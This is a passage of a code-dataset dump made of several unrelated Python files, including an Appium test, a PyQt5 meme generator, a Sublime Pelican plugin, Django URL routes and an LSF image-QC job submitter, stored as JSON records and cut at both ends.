'.png')\n\n\n","sub_path":"orb/rayVid2.py","file_name":"rayVid2.py","file_ext":"py","file_size_in_byte":5037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"133504074","text":"def starost_starsa(oseba):\n if(len(otroci(oseba))!=0):\n return starost[oseba] - max([starost[ime] for ime in otroci(oseba)])\n else:\n return 999\n\ndef najmlajsi_stars(oseba):\n min=99999\n if(starost_starsa(oseba) None:\n super().__init__(self)\n\n def run(self, action: Optional[Action] = None) -> None:\n if not action:\n return\n if action.name == \"test\":\n cmd = [sys.executable, \"-m\", \"pytest\"]\n run_or_fail(cmd, tee=True)\n\n def is_present(self, path: str) -> bool:\n for name in (\"pytest.ini\",):\n if os.path.isfile(name):\n return True\n return False\n\n def actions(self) -> List[Action]:\n actions = []\n actions.append(\n Action(\n name=\"test\",\n tool=self,\n description=\"Run pytest\",\n )\n )\n\n return actions\n","sub_path":"src/mk/tools/pytest.py","file_name":"pytest.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"231723582","text":"# coding=utf-8\nimport time\nimport unittest\nimport HTMLTestRunner\n\nfrom app.student.login.object_page.login_page import LoginPage\nfrom app.student.login.test_data.login_failed_toast import VALID_LOGIN_TOAST\nfrom app.student.homework.object_page.home_page import HomePage\nfrom app.student.homework.object_page.homework_page import Homework\nfrom app.student.homework.object_page.flash_card_page import FlashCard\nfrom app.student.homework.test_data.homework_title_type_yb import GetVariable as gv\nfrom conf.base_page import BasePage\nfrom utils.games_keyboard import games_keyboard\nfrom utils.toast_find import Toast\nfrom utils.yb_dict import no_yb_operate_word\nfrom conf.decorator import setup, teardown, testcase, teststeps\n\n\nclass Games(unittest.TestCase):\n \"\"\"闪卡练习 - yb字体\"\"\"\n\n @classmethod\n @setup\n def setUp(cls):\n \"\"\"启动应用\"\"\"\n cls.login_page = LoginPage()\n cls.home_page = HomePage()\n cls.homework = Homework()\n cls.flash_card = FlashCard()\n\n @classmethod\n @teardown\n def tearDown(cls):\n pass\n\n @testcase\n def test_flash_card_noyb(self):\n \"\"\"对不同小游戏类型,选择不同函数进行相应的操作\"\"\"\n self.login_page.app_status() # 判断APP当前状态\n\n if self.home_page.wait_check_page(): # 页面检查点\n print(\"已进入主界面:\")\n var = self.home_page.homework_count()\n if gv.FLA_CARD in var[0]: # 该作业存在\n for i in range(0, len(var[0])-1):\n if var[0][i] == gv.FLA_CARD:\n var[1][i].click()\n time.sleep(3)\n count = self.homework.games_count(0, '闪卡练习')\n self.game_exist(count[0])\n if count[1] == 10:\n game_count = self.homework.swipe_screen('闪卡练习')\n if len(game_count) != 0:\n self.game_exist(game_count)\n else:\n print('当前页no have该作业')\n game = self.home_page.swipe(var[0], gv.FLA_CARD, '闪卡练习') # 作业list翻页\n self.game_exist(game)\n print('Game Over')\n else:\n try:\n Toast().find_toast(VALID_LOGIN_TOAST.login_failed())\n except Exception:\n print(\"未进入主界面\")\n raise\n\n @teststeps\n def game_exist(self, count):\n \"\"\"闪卡练习游戏具体操作 及 操作后的滑屏\"\"\"\n if len(count) != 0:\n print('有小游戏')\n for index_1 in count:\n print('####################################################')\n homework_type = self.homework.tv_testbank_name(index_1) # 获取小游戏模式\n print(homework_type)\n if homework_type == \"学习模式\":\n self.flash_card_study(index_1)\n print('闪卡练习 学习模式over')\n elif homework_type == \"抄写模式\":\n self.flash_card_copy(index_1)\n print('闪卡练习 抄写模式over')\n\n print('####################################################')\n self.homework.back_up_button()\n self.homework.back_up_button() # 返回主界面\n else:\n print('no have闪卡练习小游戏')\n\n @teststeps\n def flash_card_study(self, index):\n \"\"\"闪卡练习--学习模式\"\"\"\n self.homework.games_type()[index].click()\n time.sleep(3)\n self.study_pattern_no() # 闪卡练习 学习游戏过程\n # if self.flash_card.study_sum(): # 结果页检查点\n # self.flash_card.result_page(answer[0], answer[1]) # 点击结果页听力按钮 和 star按钮\n\n # # 结果页 标星内容再练一遍\n # if self.flash_card.study_sum(): # 结果页检查点\n # self.flash_card.selected_sum()\n # self.flash_card.study_pattern() # 闪卡练习 学习模式游戏过程\n #\n # # 结果页 再练一遍\n # if self.flash_card.study_sum(): # 结果页检查点\n # self.flash_card.study_again()\n # self.flash_card.study_pattern() # 闪卡练习 游戏过程\n\n self.homework.back_up_button() # 结果页 返回按钮\n time.sleep(2)\n\n @teststeps\n def flash_card_copy(self, index):\n \"\"\"闪卡练习--抄写模式\"\"\"\n self.homework.games_type()[index].click()\n time.sleep(3)\n self.copy_pattern_no() # 闪卡练习 抄写模式 游戏过程\n # if self.flash_card.study_sum(): # 结果页检查点\n # self.flash_card.result_page(answer[0], answer[1]) # 点击结果页听力按钮 和 star按钮\n #\n # # 结果页 标星内容再练一遍\n # if self.flash_card.study_sum(): # 结果页检查点\n # self.flash_card.selected_sum()\n # self.flash_card.copy_pattern() # 闪卡练习 抄写模式游戏过程\n #\n # # 结果页 再练一遍\n # if self.flash_card.study_sum(): # 结果页检查点\n # self.flash_card.study_again()\n # self.flash_card.copy_pattern() # 闪卡练习 游戏过程\n\n self.flash_card.back_up_button() # 结果页 返回按钮\n time.sleep(2)\n\n @teststeps\n def study_pattern_no(self):\n \"\"\"《闪卡练习 学习模式》 游戏过程\"\"\"\n answer = []\n rate = self.flash_card.rate()\n if self.flash_card.wait_check_page(): # 页面检查点\n for i in range(int(rate)):\n word = self.flash_card.english_study() # 单词\n explain = self.flash_card.explain_study() # 解释\n\n if len(word) <= 2:\n value = no_yb_operate_word(word)\n if value == explain:\n answer.append(word)\n else:\n print('error:', word)\n\n self.flash_card.click_rotate() # 点击翻转页面按钮切换页面\n self.flash_card.click_voice() # 点击听力按钮\n for j in range(2):\n self.flash_card.click_rotate() # 切换页面\n self.flash_card.click_rotate() # 点击翻转页面按钮切换页面\n\n if i in range(1, int(rate), 2): # 点击star按钮\n self.flash_card.click_star()\n self.homework.next_button() # 下一题按钮\n return rate, answer\n\n @teststeps\n def copy_pattern_no(self):\n \"\"\"《闪卡练习 抄写模式》 游戏过程\"\"\"\n answer = []\n rate = self.flash_card.rate()\n if self.flash_card.wait_check_page(): # 页面检查点\n for i in range(int(rate)):\n self.flash_card.click_voice() # 听力按钮\n explain = self.flash_card.explain_copy() # 展示的音标\n word = self.flash_card.word_copy() # 展示的单词\n if len(explain) == 3:\n value = no_yb_operate_word(explain)\n answer.append(explain)\n if len(value) == 1 and value == word.lower():\n games_keyboard(value) # 点击键盘对应字母\n elif len(value) == 2 and value == word.lower():\n for k in range(len(value)):\n games_keyboard(value[k]) # 点击键盘对应字母\n else:\n print(\"第几题:%s\" % (i + 1), \"单词是:%s\" % self.flash_card.word_copy().text)\n for j in range(len(word)):\n games_keyboard(word[j]) # 点击键盘对应字母\n\n if i in range(1, int(rate), 2): # 点击star按钮\n self.flash_card.click_star()\n time.sleep(1)\n return rate, answer\n\n\nif __name__ == '__main__':\n suite = unittest.TestSuite()\n suite.addTest(Games('test_flash_card'))\n\n report_title = u'Example用例执行报告'\n desc = '用于展示修改样式后的HTMLTestRunner'\n timestr = time.strftime('%Y%m%d%H%M%S', time.localtime(time.time()))\n filename = r'C:/Users/V/Desktop/Testreport/Result_' + timestr + '.html'\n print(filename)\n fp = open(filename, 'wb')\n runner = HTMLTestRunner.HTMLTestRunner(\n stream=fp,\n title=report_title,\n description=desc)\n runner.run(suite)\n fp.close()\n","sub_path":"app/student/homework/test_cases/yb_script/test005_flash_card_noyb.py","file_name":"test005_flash_card_noyb.py","file_ext":"py","file_size_in_byte":8618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"532390035","text":"import sys\nfrom PyQt5 import QtWidgets as qtw\nfrom PyQt5 import QtGui as qtg\nfrom PyQt5 import QtCore as qtc\n\n\nclass ColorButton(qtw.QPushButton):\n\n changed = qtc.pyqtSignal()\n\n def __init__(self, default_color, changed=None):\n super().__init__()\n self.set_color(qtg.QColor(default_color))\n self.clicked.connect(self.on_click)\n if changed:\n self.changed.connect(changed)\n\n def set_color(self, color):\n self._color = color\n # update icon\n pixmap = qtg.QPixmap(32, 32)\n pixmap.fill(self._color)\n self.setIcon(qtg.QIcon(pixmap))\n\n def on_click(self):\n color = qtw.QColorDialog.getColor(self._color)\n if color:\n self.set_color(color)\n self.changed.emit()\n\n\nclass FontButton(qtw.QPushButton):\n\n changed = qtc.pyqtSignal()\n\n def __init__(self, default_family, default_size, changed=None):\n super().__init__()\n self.set_font(qtg.QFont(default_family, default_size))\n self.clicked.connect(self.on_click)\n if changed:\n self.changed.connect(changed)\n\n def set_font(self, font):\n self._font = font\n self.setFont(font)\n self.setText(f'{font.family()} {font.pointSize()}')\n\n def on_click(self):\n font, accepted = qtw.QFontDialog.getFont(self._font)\n if accepted:\n self.set_font(font)\n self.changed.emit()\n\n\nclass ImageFileButton(qtw.QPushButton):\n\n changed = qtc.pyqtSignal()\n\n def __init__(self, changed=None):\n super().__init__(\"Click to select…\")\n self._filename = None\n self.clicked.connect(self.on_click)\n if changed:\n self.changed.connect(changed)\n\n def on_click(self):\n filename, _ = qtw.QFileDialog.getOpenFileName(\n None, \"Select an image to use\",\n qtc.QDir.homePath(), \"Images (*.png *.xpm *.jpg)\")\n if filename:\n self._filename = filename\n # set button text to filename without path\n self.setText(qtc.QFileInfo(filename).fileName())\n self.changed.emit()\n\n\nclass MemeEditForm(qtw.QWidget):\n\n changed = qtc.pyqtSignal(dict)\n\n def __init__(self):\n super().__init__()\n self.setLayout(qtw.QFormLayout())\n\n # Image\n self.image_source = ImageFileButton(changed=self.on_change)\n self.layout().addRow('Image file', self.image_source)\n\n # Text entries\n self.top_text = qtw.QPlainTextEdit(textChanged=self.on_change)\n self.bottom_text = qtw.QPlainTextEdit(textChanged=self.on_change)\n self.layout().addRow(\"Top Text\", self.top_text)\n self.layout().addRow(\"Bottom Text\", self.bottom_text)\n\n # Text color and font\n self.text_color = ColorButton('white', changed=self.on_change)\n self.layout().addRow(\"Text Color\", self.text_color)\n self.text_font = FontButton('Impact', 32, changed=self.on_change)\n self.layout().addRow(\"Text Font\", self.text_font)\n\n # Background Boxes\n self.text_bg_color = ColorButton('black', changed=self.on_change)\n self.layout().addRow('Text Background', self.text_bg_color)\n self.top_bg_height = qtw.QSpinBox(\n minimum=0, maximum=32,\n valueChanged=self.on_change, suffix=' line(s)')\n self.layout().addRow('Top BG height', self.top_bg_height)\n self.bottom_bg_height = qtw.QSpinBox(\n minimum=0, maximum=32,\n valueChanged=self.on_change, suffix=' line(s)')\n self.layout().addRow('Bottom BG height', self.bottom_bg_height)\n self.bg_padding = qtw.QSpinBox(\n minimum=0, maximum=100, value=10,\n valueChanged=self.on_change, suffix=' px')\n self.layout().addRow('BG Padding', self.bg_padding)\n\n # Deep Fryer\n self.deep_fry = qtw.QCheckBox('Deep Fry', stateChanged=self.on_change)\n self.layout().addRow(self.deep_fry)\n\n def on_change(self):\n data = {\n 'top_text': self.top_text.toPlainText(),\n 'bottom_text': self.bottom_text.toPlainText(),\n 'text_color': self.text_color._color,\n 'text_font': self.text_font._font,\n 'bg_color': self.text_bg_color._color,\n 'top_bg_height': self.top_bg_height.value(),\n 'bottom_bg_height': self.bottom_bg_height.value(),\n 'bg_padding': self.bg_padding.value(),\n 'deep_fry': self.deep_fry.isChecked()\n }\n\n self.changed.emit(data)\n\n\nclass MainWindow(qtw.QMainWindow):\n\n def __init__(self):\n \"\"\"MainWindow constructor.\n\n This widget will be our main window.\n We'll define all the UI components in here.\n \"\"\"\n super().__init__()\n # Main UI code goes here\n self.setWindowTitle('Qt Meme Generator')\n\n # define some constants\n self.max_size = qtc.QSize(800, 600)\n self.image = qtg.QImage(\n self.max_size, qtg.QImage.Format_ARGB32)\n self.image.fill(qtg.QColor('black'))\n\n # Container widget\n mainwidget = qtw.QWidget()\n self.setCentralWidget(mainwidget)\n mainwidget.setLayout(qtw.QHBoxLayout())\n\n # Image Previewer\n self.image_display = qtw.QLabel(pixmap=qtg.QPixmap(self.image))\n mainwidget.layout().addWidget(self.image_display)\n\n # The editing form\n self.form = MemeEditForm()\n mainwidget.layout().addWidget(self.form)\n self.form.changed.connect(self.build_image)\n\n # Create file loading and saving\n toolbar = self.addToolBar('File')\n toolbar.addAction(\"Save Image\", self.save_image)\n\n # End main UI code\n self.show()\n\n def save_image(self):\n save_file, _ = qtw.QFileDialog.getSaveFileName(\n None, \"Save your image\",\n qtc.QDir.homePath(), \"PNG Images (*.png)\")\n if save_file:\n self.image.save(save_file, \"PNG\")\n\n def build_image(self, data):\n # Create a QImage file\n if not data.get('image_source'):\n self.image.fill(qtg.QColor('black'))\n else:\n self.image.load(data.get('image_source'))\n # Scale down the image if it's over the max_size\n if not (self.max_size - self.image.size()).isValid():\n # isValid returns false if either dimension is negative\n self.image = self.image.scaled(\n self.max_size, qtc.Qt.KeepAspectRatio)\n\n # create the painter\n painter = qtg.QPainter(self.image)\n\n # Paint the background blocks\n font_px = qtg.QFontInfo(data['text_font']).pixelSize()\n top_px = (data['top_bg_height'] * font_px) + data['bg_padding']\n top_block_rect = qtc.QRect(\n 0, 0, self.image.width(), top_px)\n bottom_px = (\n self.image.height() - data['bg_padding']\n - (data['bottom_bg_height'] * font_px))\n bottom_block_rect = qtc.QRect(\n 0, bottom_px, self.image.width(), self.image.height())\n\n painter.setBrush(qtg.QBrush(data['bg_color']))\n painter.drawRect(top_block_rect)\n painter.drawRect(bottom_block_rect)\n\n # Paint the text\n painter.setPen(data['text_color'])\n painter.setFont(data['text_font'])\n flags = qtc.Qt.AlignHCenter | qtc.Qt.TextWordWrap\n painter.drawText(\n self.image.rect(), flags | qtc.Qt.AlignTop, data['top_text'])\n painter.drawText(\n self.image.rect(), flags | qtc.Qt.AlignBottom,\n data['bottom_text'])\n\n # Deep fry\n if data['deep_fry']:\n # To do image-level editing,\n # we need to explicitly end our painting first\n painter.end()\n\n # Now we can do things that overwrite the image\n # Swapping Red and Blue\n self.image = self.image.rgbSwapped()\n\n # Convert to a 8-bit color\n self.image = self.image.convertToFormat(qtg.QImage.Format_Indexed8)\n\n # We're going to grab all the colors from the color table\n # then alter the hue and saturation of each color\n colors = self.image.colorTable()\n new_colors = []\n for color in colors:\n qcolor = qtg.QColor(color)\n qcolor.setHslF(\n ((qcolor.hueF() * 200) % 100)/100,\n min(1, qcolor.saturationF() * 2),\n qcolor.lightnessF())\n new_colors.append(qcolor.rgba())\n self.image.setColorTable(new_colors)\n\n # Convert back to the original format\n self.image = self.image.convertToFormat(qtg.QImage.Format_ARGB32)\n\n # show the image\n self.image_display.setPixmap(qtg.QPixmap(self.image))\n\n\nif __name__ == '__main__':\n app = qtw.QApplication(sys.argv)\n # it's required to save a reference to MainWindow.\n # if it goes out of scope, it will be destroyed.\n mw = MainWindow()\n sys.exit(app.exec())\n","sub_path":"Chapter12/question_4_example_code.py","file_name":"question_4_example_code.py","file_ext":"py","file_size_in_byte":8996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"71326515","text":"# -*- coding: utf-8 -*-\nimport sys\n\nclass Solution:\n def letterCombinations(self, digits):\n \"\"\"\n :type digits: str\n :rtype: List[str]\n \"\"\"\n key_map = {2: \"abc\", 3: \"def\", 4: \"ghi\", 5: \"jkl\", 6: \"mno\", 7: \"pqrs\", 8: \"tuv\", 9: \"wxyz\"}\n res = []\n def dfs(digits, ans):\n if digits == \"\":\n res.append(ans)\n return\n\n key = int(digits[0])\n for c in key_map[key]:\n dfs(digits[1:], ans+c)\n\n if digits:\n dfs(digits, \"\")\n return res\n\nif __name__ == \"__main__\":\n digits = \"\"\n s = Solution()\n print(s.letterCombinations(digits))\n\n\n\n# class Solution(object):\n# def __init__(self):\n# self.result = []\n#\n# def recursive_com(self, mapping_str, digits, strs):\n# if len(digits) == 0:\n# self.result.append(strs)\n# return;\n#\n# f_digit = int(digits[0])\n# s_len = len(mapping_str[f_digit])\n# for i in range(s_len):\n# self.recursive_com(mapping_str, digits[1:], strs+mapping_str[f_digit][i])\n#\n# def letterCombinations(self, digits):\n# \"\"\"\n# :type digits: str\n# :rtype: List[str]\n# \"\"\"\n# mapping_str = [\n# [' '],['*'],['a','b','c'],['d','e','f'],['g','h','i'],\n# ['j','k','l'],['m','n','o'],['p','q','r','s'],['t','u','v'],\n# ['w','x','y','z']\n# ]\n# if len(digits) == 0:\n# return self.result;\n#\n# self.recursive_com(mapping_str, digits, '')\n# return self.result\n#\n# s = Solution()\n# print(s.letterCombinations(\"23\"))","sub_path":"leetcode/17.letter_combinations.py","file_name":"17.letter_combinations.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"150189503","text":"import configparser\nfrom os import path\n__dir__ = path.dirname(__file__)\n\n\ndef get_config(env):\n if env is None:\n env = 'default'\n file = path.join(__dir__, '%s.ini' % env)\n config = configparser.ConfigParser()\n config.read(file)\n return config\n","sub_path":"config/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"409493984","text":"import sublime\nimport sublime_plugin\nimport re\nfrom . import PelicanPluginTools\n\n\nclass PelicanArticleClose(sublime_plugin.EventListener):\n\n def on_close(self, view):\n PelicanPluginTools.removePelicanArticle(view)\n\n\nclass PelicanAutogenSlug(sublime_plugin.EventListener):\n\n def isInTitleLine(self, view):\n if len(view.sel()) > 0:\n current_line = view.line(view.sel()[0].begin())\n if view.find(\"title:\", current_line.begin(), sublime.IGNORECASE):\n return True\n return False\n\n def on_modified(self, view):\n generate_slug_from_title = PelicanPluginTools.load_setting(view, \"generate_slug_from_title\", True)\n if generate_slug_from_title != \"title_change\":\n return\n\n if not PelicanPluginTools.isPelicanArticle(view):\n return\n\n if self.isInTitleLine(view):\n view.run_command('pelican_generate_slug')\n\n def on_pre_save(self, view):\n generate_slug_from_title = PelicanPluginTools.load_setting(view, \"generate_slug_from_title\", True)\n if generate_slug_from_title != \"save\":\n return\n\n if not PelicanPluginTools.isPelicanArticle(view):\n return\n\n slug_region = view.find(':?slug:\\s*.+', 0, sublime.IGNORECASE)\n if slug_region:\n slug_line = view.substr(view.line(slug_region.begin()))\n regex = re.compile(\":?slug:(.*)\", re.IGNORECASE)\n find_all = regex.findall(slug_line)\n if len(find_all) > 0:\n slug_str = find_all[0].strip()\n\n if len(slug_str) > 0:\n force_slug_regeneration = PelicanPluginTools.load_setting(view, \"force_slug_regeneration\", False)\n if not force_slug_regeneration:\n return\n\n view.run_command('pelican_generate_slug')\n","sub_path":"PelicanPluginEvents.py","file_name":"PelicanPluginEvents.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"142057821","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Oct 19 23:54:22 2019\r\n\r\n@author: Z\r\n\"\"\"\r\n\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.datasets import make_moons\r\n\r\nfrom plot_decision import plot_decision_boundaries\r\nfrom NeuralNet import NeuralNet\r\nfrom GridSearchCV import GridSearchCV\r\nimport numpy as np\r\n\r\nseed = 42\r\nX, y = make_moons(n_samples=100, noise=0.1, random_state=seed)\r\n\r\ndefault_params = {\r\n 'n_neurons': [X.shape[1], 50, 1],\r\n 'activations': 'relu',\r\n 'seed': seed,\r\n 'n_epochs': 200\r\n }\r\nparam_grid = {\r\n 'learning_rate': np.logspace(2, -4),\r\n 'lambda_reg': np.array([.1, .01, .001, .0001])\r\n }\r\n\r\ngs = GridSearchCV(NeuralNet, param_grid, default_params)\r\ngs.fit(X, y)\r\n\r\n#nn = NeuralNet(n_neurons=[X.shape[1], 50, 1], activations='sigmoid',\r\n# seed=seed, learning_rate=1.2, n_epochs=1000)\r\n\r\n#nn.fit(X, y)\r\n#plt.figure()\r\n#plt.plot(nn.losses)\r\n#plt.title('Loss vs number of epochs')\r\n#\r\n#plt.figure()\r\n#plot_decision_boundaries(nn, X, y)\r\n#plt.title('Decision boundaries')\r\n#\r\n#plt.show()","sub_path":"moon_test.py","file_name":"moon_test.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"13328429","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.home, name='home'),\n path('dogs/', views.dogs_index, name='index'),\n path('dogs//', views.dog_details, name='details'),\n path('dogs/create/', views.DogCreate.as_view(), name='dog_create'),\n path('dogs//update', views.DogUpdate.as_view(), name='dog_update'),\n path('dogs//delete', views.DogDelete.as_view(), name='dog_delete'),\n path('dogs//add_feeding/', views.add_feeding, name='add_feeding'),\n path('dogs//assoc_toy//', views.assoc_toy, name='assoc_toy'),\n path('dogs//unassoc_toy//', views.unassoc_toy, name='unassoc_toy'),\n path('toys/', views.ToyList.as_view(), name='toys_index'),\n path('toys//', views.ToyDetails.as_view(), name='toy_details'),\n path('toys/create/', views.ToyCreate.as_view(), name='toy_create'),\n path('toys//update', views.ToyUpdate.as_view(), name='toy_update'),\n path('toys//delete', views.ToyDelete.as_view(), name='toy_delete'),\n]\n","sub_path":"main_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"38733476","text":"# coding: utf-8\n\n\"\"\" Script to run qc_apply_all_sites_model\n This script prepares required artifacts to allow running the QC on\n images. It will normally be run after a data release to carry out\n QC on images present in the images core. However, use can be customised\n for more specific purposes using the parameters\n\n This script is a wraper around qc_apply_all_sites_model.py\n\"\"\"\n\nimport sys\nimport os\nimport argparse\nimport requests\nimport json\nfrom datetime import datetime\n\nimport pandas as pd\n\nfrom QuerySolr import QuerySolr\n\n\n# Parameters for this run\nparser = argparse.ArgumentParser(\n description = \"Setup QC for sites and submit qc script to LSF\"\n)\nparser.add_argument('-H', '--host', dest='host', \n default=\"wp-np2-e1.ebi.ac.uk\",\n help='host to use for solr query - defaults to dev'\n)\nparser.add_argument('-P', '--port', dest='port', default='8986',\n help='port to use for solr query'\n)\nparser.add_argument(\n '--site-name', dest='site_name', default=None,\n help='Abbreviated name of site (phenotyping_center) as in the ' +\\\n 'directory in images/clean. Do not use this parameter if you ' +\\\n 'want to run for all sites'\n)\nparser.add_argument(\n '--parameter-stable-id', dest='parameter_stable_id', default='*_XRY_*',\n help='Parameter stable ID. Do not use this parameter if you want all'\n)\nparser.add_argument(\n '-d', '--base-dir', dest='dir_base', default=\"/nfs/komp2/web/images/clean/impc/\",\n help='Base directory for location of images'\n)\nparser.add_argument(\n '-c', '--code-dir', dest='code_dir', default=\"/nfs/komp2/web/image_qc/apply_dl_models/code/\",\n help='Directory containing code to run models'\n)\nparser.add_argument(\n '-p', '--print-every', dest='print_every', default=-1, type=int,\n help='Number of iterations before printing prediction stats note that this also saves the predictions up to this point which is useful incase the program crashes. Use -1 to prevent printing anything.'\n)\nparser.add_argument(\n '-o', '--output-base-dir', dest='output_base_dir', required=True,\n help='Base directory for reading and writing files associated with prediction. Three subdirectories (output,logs and jobs) will be created here'\n)\nparser.add_argument(\n '-q', '--queue-name', dest='queue_name', default='research-rh74',\n help='LSF queue for submitting jobs'\n)\nparser.add_argument(\n '-m', '--model-path', dest='model_path', required=True,\n help=\"Path to model to use for predictions\"\n)\nparser.add_argument(\n '--cluster-login-node', dest='cluster_login_node', default='ebi-login',\n help='Node from which cluster jobs are submitted'\n)\nparser.add_argument(\n '--create-site-parameter-dirs', dest='create_site_parameter_dirs',\n type=bool, default=True,\n help='set flag to create subdirectories for each site/parameter combination'\n)\n\nargs = parser.parse_args()\nprint_every = args.print_every\nphenotyping_center = args.site_name;\nparameter_stable_id = args.parameter_stable_id\ndir_base = args.dir_base\ncode_dir = args.code_dir\n\n# Create object to use for querying Solr\nquery_solr = QuerySolr(host=args.host, port=args.port)\nquery_solr.set_core('impc_images')\n\n# If No phenotyping centre specified we need to run over all phenotyping\n# centers\nphenotyping_centers = []\nif args.site_name is not None:\n phenotyping_centers.append(args.site_name)\nelse:\n # get all phenotyping centres from Solr\n query = f\"select?facet.field=phenotyping_center&facet=on&fl=phenotyping_center&q=parameter_stable_id:{parameter_stable_id}&rows=0&start=0\"\n query_solr.set_query(query)\n results = query_solr.run_query(return_raw=True)\n results = results['facet_counts']['facet_fields']['phenotyping_center']\n for i in range(0, len(results), 2): # stride=2 as we have center,count\n if results[i+1] > 0:\n phenotyping_centers.append(results[i])\n \n# get xry parameters if necessary\nparameter_stable_ids = []\nif parameter_stable_id.count('*') == 0:\n parameter_stable_ids.append(parameter_stable_id)\nelse:\n # get parameter_stable_ids from Solr\n query = f\"select?facet.field=parameter_stable_id&facet=on&fl=parameter_stable_id&q=parameter_stable_id:{parameter_stable_id}&rows=0&start=0\"\n query_solr.set_query(query)\n results = query_solr.run_query(return_raw=True)\n results = results['facet_counts']['facet_fields']['parameter_stable_id']\n for i in range(0, len(results), 2): # stride=2 as we have center,count\n if results[i+1] > 0:\n parameter_stable_ids.append(results[i])\n\n\n# Create directories for files\noutput_dir_stem = os.path.join(args.output_base_dir,'output')\nif not os.path.isdir(output_dir_stem):\n os.mkdir(output_dir_stem)\njobs_dir = os.path.join(args.output_base_dir,'jobs')\nif not os.path.isdir(jobs_dir):\n os.mkdir(jobs_dir)\nlogs_dir = os.path.join(args.output_base_dir,'logs')\nif not os.path.isdir(logs_dir):\n os.mkdir(logs_dir)\n\n# For each center for each parameter\n# 1) Generate list of files to process\n# 2) Submit job to LSF\n\nfor phenotyping_center in phenotyping_centers:\n # have version of phenotyping_center with no spaces\n phenotyping_center_ns = phenotyping_center.replace(' ', '_')\n for parameter_stable_id in parameter_stable_ids:\n query = f\"select?fl=pipeline_stable_id,procedure_stable_id,download_file_path&q=parameter_stable_id:{parameter_stable_id}%20AND%20phenotyping_center:{phenotyping_center}&rows=10000000\"\n query = query.replace(\" \",\"\\ \")\n query_solr.set_query(query)\n results = query_solr.run_query()\n \n if len(results) == 0:\n print(f\"No images for {phenotyping_center}:{parameter_stable_id}\")\n continue\n\n files_to_process = []\n for index, row in results.iterrows():\n pipeline_stable_id = row['pipeline_stable_id']\n procedure_stable_id = row['procedure_stable_id']\n filename = os.path.split(row['download_file_path'])[-1]\n filepath = os.path.join(dir_base,phenotyping_center, pipeline_stable_id, procedure_stable_id, parameter_stable_id, filename)\n files_to_process.append(filepath+\"\\n\")\n\n #output_filename = pipeline_stable_id.split('_')[0]+'_'+parameter_stable_id+'.txt'\n output_stem = phenotyping_center_ns + '_' + parameter_stable_id\n output_filename = output_stem + '.txt'\n\n # Create subdirectory for site/parameter combination if flag set\n if args.create_site_parameter_dirs:\n output_dir = os.path.join(output_dir_stem, output_stem)\n if not os.path.isdir(output_dir):\n os.mkdir(output_dir)\n else:\n output_dir = output_dir_stem\n output_filepath = os.path.join(output_dir, output_filename)\n with open(output_filepath, 'wt') as fid:\n fid.writelines([\"imagename,classlabel\\n\"])\n fid.writelines(files_to_process)\n \n # Generate script to run QC and display results\n today = datetime.today().strftime(\"%d/%m/%Y_%H:%M:%S\")\n postfix = datetime.today().strftime(\"%Y%m%d_%H%M%S\")\n\n output_filename = output_stem + \".sh\"\n output_filepath = os.path.join(jobs_dir, output_filename)\n output = [\n f\"# Generated: {today}\\n\",\n \"source ~/conda_setup.sh\\n\",\n \"conda activate /nfs/production3/komp2/web/image_qc/code/python3\\n\",\n \"export QT_QPA_PLATFORM='offscreen'\\n\",\n f\"python {code_dir}/qc_apply_all_sites_model.py -m {args.model_path} -o {output_dir} -p -1 -d {dir_base} --parameter-stable-id {parameter_stable_id} --site-name {phenotyping_center_ns}\\n\",\n f\"python {code_dir}/create_montage_to_display_classes.py -i {output_dir}/{output_stem}_processed.csv -o {output_dir}/\",\n ]\n with open(output_filepath, 'wt') as fid:\n fid.writelines(output)\n os.system(f\"chmod a+x {output_filepath}\")\n print(f\"Saved jobscript to {output_filepath}\")\n\n # Submit to LSF\n submit_command = f'ssh tc_mi01@{args.cluster_login_node} \"bsub -M 15000 -R \\\\\"rusage[mem=15000]\\\\\" -q {args.queue_name} -J IMPC_qc_images_{output_stem}_{postfix} -o {logs_dir}/{output_stem}.out -e {logs_dir}/{output_stem}.err {output_filepath}\"'\n print(submit_command)\n retval = os.system(submit_command)\n if retval == 0:\n print(f\"Submitted job for {output_stem} successfully\")\n else:\n print(f\"Problem submitting job for {output_stem}!\")\n\n","sub_path":"external_tools/src/main/python/images/qc_generate_list_of_images_to_process.py","file_name":"qc_generate_list_of_images_to_process.py","file_ext":"py","file_size_in_byte":8531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"598280997","text":"#from: http://balbuceosastropy.blogspot.in/2013/09/the-mollweide-projection.html\n\nimport numpy as np\nimport ephem\nimport matplotlib.pyplot as plt\n\ndef plot_mwd(RA,Dec,org=0,title='Mollweide projection', projection='mollweide'):\n ''' RA, Dec are arrays of the same length.\n RA takes values in [0,360), Dec in [-90,90],\n which represent angles in degrees.\n org is the origin of the plot, 0 or a multiple of 30 degrees in [0,360).\n title is the title of the figure.\n projection is the kind of projection: 'mollweide', 'aitoff', 'hammer', 'lambert'\n '''\n x = np.remainder(RA+360-org,360) # shift RA values\n ind = x>180\n x[ind] -=360 # scale conversion to [-180, 180]\n x=-x # reverse the scale: East to the left\n tick_labels = np.array([150, 120, 90, 60, 30, 0, 330, 300, 270, 240, 210])\n tick_labels = 